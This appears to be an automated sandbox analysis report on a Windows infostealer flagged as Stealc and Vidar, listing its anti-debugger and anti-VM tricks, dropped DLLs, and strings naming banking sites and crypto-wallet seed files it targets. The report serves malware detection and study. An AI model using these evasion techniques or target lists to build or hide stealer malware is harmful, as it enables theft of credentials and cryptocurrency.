Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206AB0 second address: 1206AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206AB8 second address: 1206ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206ABC second address: 1206AF2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC7C8E00066h 0x00000008 jmp 00007FC7C8E00075h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jc 00007FC7C8E00066h 0x00000016 jmp 00007FC7C8E0006Ch 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12085D1 second address: 12085DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12085DF second address: 12085ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FC7C8E00066h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209C8F second address: 1209C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121074B second address: 1210760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FC7C8E0006Ch 0x0000000f jno 00007FC7C8E00066h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121097A second address: 1210980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C61 second address: 1210C82 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC7C8E00076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C82 second address: 1210C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FC7C8E02056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12121D1 second address: 12121D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57202EB second address: 57202F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57202F1 second address: 5720344 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC7C8E0006Ch 0x00000009 sub ax, E1C8h 0x0000000e jmp 00007FC7C8E0006Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FC7C8E00078h 0x0000001a sub ah, 00000028h 0x0000001d jmp 00007FC7C8E0006Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov ax, di 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720398 second address: 572039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572039C second address: 57203A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203A0 second address: 57203A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203A6 second address: 57203AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203AC second address: 57203B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203B0 second address: 57203E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FC7C8E00070h 0x00000011 push eax 0x00000012 jmp 00007FC7C8E0006Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov si, F3BBh 0x0000001d push eax 0x0000001e push edx 0x0000001f mov edx, eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57203E7 second address: 5720417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a call 00007FC7C8E02064h 0x0000000f mov ecx, 02DFF711h 0x00000014 pop ecx 0x00000015 mov ch, dl 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov dh, 03h 0x0000001e mov edx, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720A29 second address: 5720A6D instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FC7C8E00075h 0x0000000d sbb si, FCE6h 0x00000012 jmp 00007FC7C8E00071h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov bx, cx 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bh, A5h 0x00000025 push esi 0x00000026 pop edi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720A6D second address: 5720AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC7C8E02066h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 movzx eax, bx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720AA1 second address: 5720AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720AA5 second address: 5720AC1 instructions: 0x00000000 rdtsc 0x00000002 call 00007FC7C8E0205Fh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720AC1 second address: 5720AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720AC5 second address: 5720AD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720AD5 second address: 5720ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720ADB second address: 5720ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720ADF second address: 5720AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F81B22 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F81BA3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1124CF7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1124896 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 112E9EE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F81AF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11AFBCF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D34910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D34910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D2DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D2E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D2F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D33EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D33EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D2BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D34570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D34570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D2ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D2DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D21160 GetSystemInfo,ExitProcess,

0_2_00D21160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: KFIDBAFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: KFIDBAFH.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: KFIDBAFH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2252356926.0000000001873000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2252356926.00000000018A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: KFIDBAFH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: KFIDBAFH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: KFIDBAFH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: KFIDBAFH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: KFIDBAFH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: KFIDBAFH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: KFIDBAFH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: KFIDBAFH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware!
Source: KFIDBAFH.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: KFIDBAFH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: KFIDBAFH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: KFIDBAFH.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: KFIDBAFH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: KFIDBAFH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: KFIDBAFH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: KFIDBAFH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: KFIDBAFH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58442
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59631
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58445
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58456
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58496
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58463

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00D245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00D39860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D39750 mov eax, dword ptr fs:[00000030h]

0_2_00D39750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D378E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00D378E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D39600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00D39600

Source: file.exe, file.exe, 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00D37B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D37980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00D37980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D37850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00D37850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D37A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00D37A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2252356926.000000000182E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2054627045.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4752, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
